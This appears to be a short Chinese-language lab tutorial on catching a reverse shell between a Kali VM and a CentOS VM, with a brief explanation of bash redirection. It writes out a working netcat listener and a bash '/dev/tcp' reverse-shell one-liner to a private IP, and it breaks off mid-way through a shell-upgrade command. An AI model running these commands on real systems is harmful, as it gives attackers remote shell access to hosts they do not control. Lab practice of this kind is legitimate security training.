实验环境:
A : kali 虚拟机
B: centos7.5 虚拟机
1. A 机 kali 虚拟机 设置监听 端口
root@kali64:~# nc -lvvp 9001
# 端口随便定义,没被使用就行
2. B机 执行命令反弹shell
[root@localhost ~]# bash -i >& /dev/tcp/192.168.2.128/9001 0>&1
# ip地址为 kali 虚拟机的ip地址,端口为kali虚拟机监听的端口 主机ip和端口之间为`/`
补充:
标准输入 (stdin) :代码为 0
标准输出 (stdout):代码为 1
标准错误 (stderr):代码为 2
> 为重定向符号 , & 没有固定的意思
&> ,>&理解成一个整体
&>file # 将 标准输出 和 标准错误输出 都重定向到文件file中
>& # 将标准输出和标准错误输出重定向到文件/dev/tcp/,即传递到远程
2>&1 # 将标准错误重定向到标准输出中
0>&1 # 将标准输入重定向到标准输出中
反弹后再kali机上面查看,可以输入命令,不支持tab键,清屏等功能,需要升级成交互式shell
3.升级交互式shell
# 以下命令都是在kali 机上面操作
[root@localhost ~]# python -c 'import pt